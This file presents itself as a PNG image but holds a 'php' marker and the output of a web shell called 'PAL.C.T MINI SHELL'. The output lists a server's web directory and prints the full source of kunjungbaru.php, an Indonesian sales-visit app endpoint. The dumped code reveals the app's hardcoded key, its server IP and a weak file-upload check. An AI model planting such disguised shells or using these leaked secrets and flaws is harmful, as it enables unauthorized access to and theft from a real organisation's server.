php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/mobile/
upload
files >> //var/www/html/FTFL/mobile/kunjungbaru.php

<?php 

    require('inc/konekmobile.php');
    require('inc/fungsi_tanggal.php');

    $myObj = new stdClass();

    $kunci = $_POST['kunci'];
    $uuid_staff = $_POST['uuid_staff'];
    $uuid_customer = $_POST['uuid_customer'];
    //cekin_waktu
    $cekin_waktu = $_POST['cekin_waktu'];
    $cekin_koor_lat = $_POST['cekin_koor_lat'];
    $cekin_koor_long = $_POST['cekin_koor_long'];
    $cekin_koor = $cekin_koor_lat.",".$cekin_koor_long;
    //cekout
    $cekout_waktu = $_POST['cekout_waktu'];
    $cekout_koor_lat = $_POST['cekout_koor_lat'];
    $cekout_koor_long = $_POST['cekout_koor_long'];
    $cekout_koor = $cekout_koor_lat.",".$cekout_koor_long;
    //detail
    $misi_staff = $_POST['misi_kunjung'];
    $catatan = $_POST['catatan'];
    $jenis = $_POST['jenis'];

    $tgl_kunjung = date("Y-m-d");

    $waktu_in = strtotime($tgl_kunjung." ".$cekin_waktu);
    $waktu_out = strtotime($tgl_kunjung." ".$cekout_waktu);
    $selisih = floor($waktu_out-$waktu_in)/60;

    //sementara
    $kode_toko = mt_rand(10000,99999);
    //$nama_image = $_POST['nama_image']; //$ean_sku+_+$kode_stok+_+YmdHis+.jpg
    //$nama_image_ktp = "ktp_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko1 = "toko1_".$kode_toko."_".date('YmdHis').".JPEG";
    $nama_image_toko2 = "toko2_".$kode_toko."_".date('YmdHis').".JPEG";

    //input android log
    $waktu = date('Y-m-d H:i:s');
    $tentang = 'kunjungbaru.php';
    $data_post = $kunci."||".$uuid_staff."||".$uuid_customer."||".$cekin_waktu."||".$cekin_koor_lat."||".$cekin_koor_long."||".$cekout_waktu."||".$cekout_koor_lat."||".$cekout_koor_long."||".$misi_staff."||".$catatan."||".$jenis;
    $insertLog  = $r->prepare("INSERT INTO `android_post`(`uuid_member`, `waktu`, `data_post`, `tentang`) VALUES (?,?,?,?) ");
    $insertLog->bind_param('ssss',$uuid_staff,$waktu,$data_post,$tentang);
    $insertLog->execute();

    //if ($kunci != 'eFTeeFeL') {
    if ($kunci != md5('eFTeeFeL'.$uuid_staff.$uuid_customer.$tgl_kunjung)) {
        $myObj->status = 'gagal';
        $myObj->subject = 'aplikasi tidak dikenal.';
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    $data_toko = customer($r,$uuid_customer);
    $nama_toko = $data_toko['nama_toko'];

    //cek wewenang staff untuk jenis kunjungan yang dipilih
    $data_staff = staff($r,$uuid_staff);
    $jenis_toko_staff = $data_staff['jenis_toko'];

    if (!stristr($jenis_toko_staff,$jenis)) {
        $myObj->status = 'gagal';
        $myObj->subject = 'Anda tidak berhak membuat kunjungan '.$jenis;
        $myObj->result = '';
        echo json_encode(array($myObj));
        exit();
    }

    //cek bila ada JADWAL kunjungan
    $stmtKunjung = $r->prepare("SELECT uuid_kunjung, misi_kunjung FROM db_kunjung WHERE uuid_staff=? AND uuid_customer=? AND tgl_kunjung=? AND waktu_in='00:00:00' LIMIT 1");
    $stmtKunjung->bind_param('sss',$uuid_staff,$uuid_customer,$tgl_kunjung);
    $stmtKunjung->execute();
    $resultKunjung = $stmtKunjung->get_result();
    $jmlKunjung = $resultKunjung->num_rows;
    if ($jmlKunjung==0) {
        $uuid_kunjung = buatUUID();
        $sifat = 'EXTRA';
        $misi_kunjung = '';
        $insertKunjung = $r->prepare("INSERT INTO `db_kunjung`(`uuid_kunjung`, `tgl_kunjung`, `uuid_staff`, `uuid_customer`, `nama_toko`, `waktu_in`, `koordinat_in`, `foto_in`, `waktu_out`, `koordinat_out`, `foto_out`, `durasi`, `misi_kunjung`, `misi_staff`, `cat_kunjung`, `sifat`, `jenis`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)");
        $insertKunjung->bind_param('sssssssssssssssss',$uuid_kunjung,$tgl_kunjung,$uuid_staff,$uuid_customer,$nama_toko,$cekin_waktu,$cekin_koor,$nama_image_toko1,$cekout_waktu,$cekout_koor,$nama_image_toko2,$selisih,$misi_kunjung,$misi_staff,$catatan,$sifat,$jenis);
        $insertKunjung->execute();
    } else {
        $sifat = 'JADWAL';
        $dataKunjung = $resultKunjung->fetch_assoc();
        $uuid_kunjung = $dataKunjung['uuid_kunjung'];
        $misi_kunjung = $dataKunjung['misi_kunjung'];
        $updateKunjung = $r->prepare("UPDATE `db_kunjung` SET `waktu_in`=?, `koordinat_in`=?, `foto_in`=?, `waktu_out`=?, `koordinat_out`=?, `foto_out`=?, `durasi`=?, `misi_staff`=?, `cat_kunjung`=?, `sifat`=? WHERE `uuid_kunjung`=? ");
        $updateKunjung->bind_param('sssssssssss',$cekin_waktu,$cekin_koor,$nama_image_toko1,$cekout_waktu,$cekout_koor,$nama_image_toko2,$selisih,$misi_staff,$catatan,$sifat,$uuid_kunjung);
        $updateKunjung->execute();
    }

  
    //this is our upload folder 
    $upload_path = 'uploads/';

    //creating the upload url 
    $upload_url = 'http://206.189.152.149/FTFL/mobile/'.$upload_path; 

        $response = array(); 
        
        if($_SERVER['REQUEST_METHOD']=='POST'){
            
            //checking the required parameters from the request 
            if(isset($_FILES['image2']['name']) OR isset($_FILES['image3']['name'])) {

                $extension2 = 'KSG';
                $extension3 = 'KSG';

                if (isset($_FILES['image2']['name'])) {
                    $image_info2 = pathinfo($_FILES['image2']['name']);
                    $extension3 = $image_info2['extension'];
                }

                if (isset($_FILES['image3']['name'])) {
                    $image_info3 = pathinfo($_FILES['image3']['name']);
                    $extension3 = $image_info3['extension'];
                }
                
                if (($extension2=='jpeg' OR $extension2=='JPEG' OR $extension2=='jpg' OR $extension2=='JPG' OR $extension2=='png' OR $extension2=='PNG' OR $extension2=='pdf' OR $extension2=='KSG') AND ($extension3=='jpeg' OR $extension3=='JPEG' OR $extension3=='jpg' OR $extension3=='JPG' OR $extension3=='png' OR $extension3=='PNG' OR $extension3=='pdf' OR $extension3=='KSG')) {

                    $file_path2 = $upload_path.$nama_image_toko1; 
                    $file_url2 = $upload_url.$nama_image_toko1;
                    $response['error2']=false;
                    $response['message2']=$file_path2;
                    
                    //trying to save the file in the directory 
                    try{
                        //saving the file 
                      move_uploaded_file($_FILES['image2']['tmp_name'],$file_path2);

                    //if some error occurred 
                    }

                    catch(Exception $e){
                        $response['error2']=true;
                        $response['message2']=$e->getMessage();
                    } 

                    $file_path3 = $upload_path.$nama_image_toko2; 
                    $file_url3 = $upload_url.$nama_image_toko2;
                    $response['error3']=false;
                    $response['message3']=$file_path3;
                    
                    //trying to save the file in the directory 
                    try{
                        //saving the file 
                      move_uploaded_file($_FILES['image3']['tmp_name'],$file_path3);

                    //if some error occurred 
                    }

                    catch(Exception $e){
                        $response['error3']=true;
                        $response['message3']=$e->getMessage();
                    } 

                    //$response['error'] = $response['error1']."||".$response['error2']."||".$response['error3'];
                    //$response['message']= $response['message1']."||".$response['message2']."||".$response['message3'];

                    $response['error']=false;
                    $response['message']='sukses.';

                } else {
                    $response['error']=true;
                    $response['message']='Invalid file. File diterima hanya JPG dan PNG.';
                }
            }else{
                $response['error']=true;
                $response['message']='Please choose a file';
            }
        } else {
            $response['error']=true;
            $response['message']='Wrong method';
        }
	

    $myObj->status = 'sukses';
    $myObj->subject = 'Kunjungan baru sukses diinput';
    $myObj->result = $uuid_kunjung;
    $myObj->toko = $data_toko['nama_toko'];

    echo json_encode(array($myObj));

    exit();

?>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`